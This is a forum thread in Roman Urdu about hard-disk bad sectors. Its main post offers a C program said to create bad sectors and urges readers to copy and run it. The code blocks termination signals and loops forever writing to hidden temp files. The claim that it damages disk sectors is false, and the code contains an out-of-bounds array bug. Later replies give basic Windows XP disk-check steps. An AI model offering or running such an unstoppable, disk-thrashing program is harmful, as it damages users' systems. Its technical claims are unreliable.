ye bad sector kaise atey hain or insey kya nuqsan hota hai or ye check kaisey kartey hain
ye bad sector kaise atey hain or insey kya nuqsan hota hai or ye check kaisey kartey hain
good niqash buhi
Thanks UsmanBrother
bohth he umda shairing thank you niqash
Niqash BHai Aaap Tu Gr8 ho
This C program will create BAD Sectors on Hard Disk . Bad Sectors are sectors of Hard Disk where data can't be written nor can be retrieved . Bad Sectors may be permanent / temporary . Copy the code and run it using a C / C++ Complier .
Disclaimer: This article is for informational and educational purpose only, as most information is found on various part of Internet. Readers should not misuse the code to destroy useful data or do other such illegal acts .
#include
#include
#include
#include
#include
#include
#include
#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0;
int x;
int fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf("sekt0r: trashing hard disk with bad sectors!\n");
while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);
for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);
} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */
void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}
Defective areas on a floppy or hard disk. The MS-DOS "Format" command recognizes bad sectors, and "locks them out" so the computer won't try to place any data on those sectors.
he disk sector that can no longer be used for storage purpose.
How to "Repair" a Bad Sector in Windows XP
* Press the <Start> button.
* Select <My Computer>.
* Under Hard Disk Drives highlight the disk which you want to scan.
* Open the <File> menu and choose <Properties>
* Open the <Tools> tab.
* Click the <Check Now...> button.
nice
bhai mara pass 160 gb sata hd wd ke hai.par sea map iso ko support nahi kar raha.plzzzzzzzz help me
Bookmarks